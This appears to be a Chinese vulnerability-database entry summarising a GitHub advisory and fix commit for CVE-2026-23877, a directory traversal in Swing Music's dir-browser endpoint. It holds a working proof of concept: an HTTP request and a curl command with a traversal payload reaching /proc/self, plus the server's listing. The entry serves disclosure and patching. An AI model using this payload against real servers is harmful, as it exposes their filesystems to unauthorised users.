# 目录遍历与文件系统访问漏洞
## 概述
Swing Music 的 `/folder/dir-browser` 端点中的 `list_folders()` 函数在版本 2.1.4 之前存在目录遍历漏洞。
## 影响版本
2.1.4 之前的版本。
## 细节
`list_folders()` 函数未对用户输入进行有效过滤,允许经过身份验证的用户(包括非管理员)通过构造特殊路径访问服务器文件系统中的任意目录。
## 影响
攻击者可利用该漏洞遍历并查看服务器上任意目录的文件结构,可能导致敏感信息泄露。
是否为 Web 类漏洞: 未知
判断理由:
| # | POC 描述 | 源链接 | 神龙链接 |
|---|
标题: Directory Traversal & Filesystem can be accessed by a non-admin user · Advisory · swingmx/swingmusic · GitHub -- 🔗来源链接
标签:x_refsource_CONFIRM
神龙速读:
### 关键漏洞信息
- **漏洞标题**: Directory Traversal & Filesystem can be accessed by a non-admin user
- **严重性**: Moderate (5.3/10)
- **受影响的版本**: < v2.1.4
- **已修复版本**: v2.1.4
- **CVE ID**: CVE-2026-23877
- **报告者**: d-virtuosa
#### 漏洞描述
**概述**
- Swing Music 的 `list_folders` 函数在 `/folder/dir-browser` 端点存在目录遍历漏洞。任何经过身份验证的用户(包括非管理员)都可以浏览服务器文件系统中的任意目录。
**详细信息**
- 该端点缺少正确的路径验证和授权检查:
- **无需授权**: 任何经过身份验证的用户都能访问此端点。
- **路径处理不当**: 代码尝试将 `/` 预加到不存在的路径上,但这并不能阻止遍历。
**示例代码**
```python
req_dir = pathlib.Path(".././.../..././etc") # -> PosixPath('.././.../..././etc')
if not req_dir.exists():
req_dir = "/" / req_dir # -> PosixPath('/.././.../..././etc')
```
#### 证明概念(PoC)
1. 创建一个非管理员用户。
2. 以非管理员用户身份进行身份验证。
3. 发送以下请求:
```http
POST /folder/dir-browser HTTP/1.1
Host: IP:1970
Content-Type: application/json
Cookie: access_token_cookie=non-admin-access-token
Connection: keep-alive
{"folder":"/music/././proc/self/", "tracks_only":false}
```
或使用 `curl` 命令:
```bash
curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \
--data-binary $'{\"folder\":\"/music/././proc/self/\", \"tracks_only\":false}' \
'http://IP:1970/folder/dir-browser'
```
4. 响应将列出 `/proc/self` 目录,而不是限制在用户可访问的路径内:
```http
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 466
Vary: Accept-Encoding
Connection: Keep-Alive
{"folders":[{"name":"attr","path":"/music/././proc/self/attr"},{"name":"cwd","path":"/music/././proc/self/cwd"},{"name":"environ","path":"/music/././proc/self/environ"},{"name":"exe","path":"/music/././proc/self/exe"},{"name":"fd","path":"/music/././proc/self/fd"},{"name":"fdinfo","path":"/music/././proc/self/fdinfo"},{"name":"maps","path":"/music/././proc/self/maps"}]}
```
#### 影响
**信息泄露风险**:
- 服务器文件系统结构和布局
- 配置文件位置和名称
- 目录列表中的用户帐户名称
- 软件版本和已安装的包
- 日志文件位置和系统路径
**额外风险**:
- 为后续攻击做准备(如LFI、RCE)
- 绕过访问控制机制
- 暴露敏感目录结构
标题: fix: directory traversal as reported by @d-virtuosa · swingmx/swingmusic@9a915ca · GitHub -- 🔗来源链接
标签:x_refsource_MISC
神龙速读:
从这个网页截图中可以获取到以下关于漏洞的关键信息:
- **漏洞类型**: 目录遍历(Directory Traversal)
- **报告者**: @d-virtuosa
- **修复提交**: 9a915ca
- **修复描述**: 修复了目录遍历漏洞,防止攻击者访问未授权的目录。新的代码引入了`is_path_within_root_dirs()`函数来检查请求的路径是否在配置的根目录内。
- **关键代码变更**:
- 引入了新函数`is_path_within_root_dirs()`来检查文件路径是否在配置的根目录内。
- 修改了多个函数以确保路径被正确解析和验证(如`get_folder_tree`, `get_folder_tree_tree`, `list_folders`, `list_folders`, `open_in_file_manager`)。
这些信息表明开发团队已采取措施来解决目录遍历漏洞,确保系统安全。
暂无评论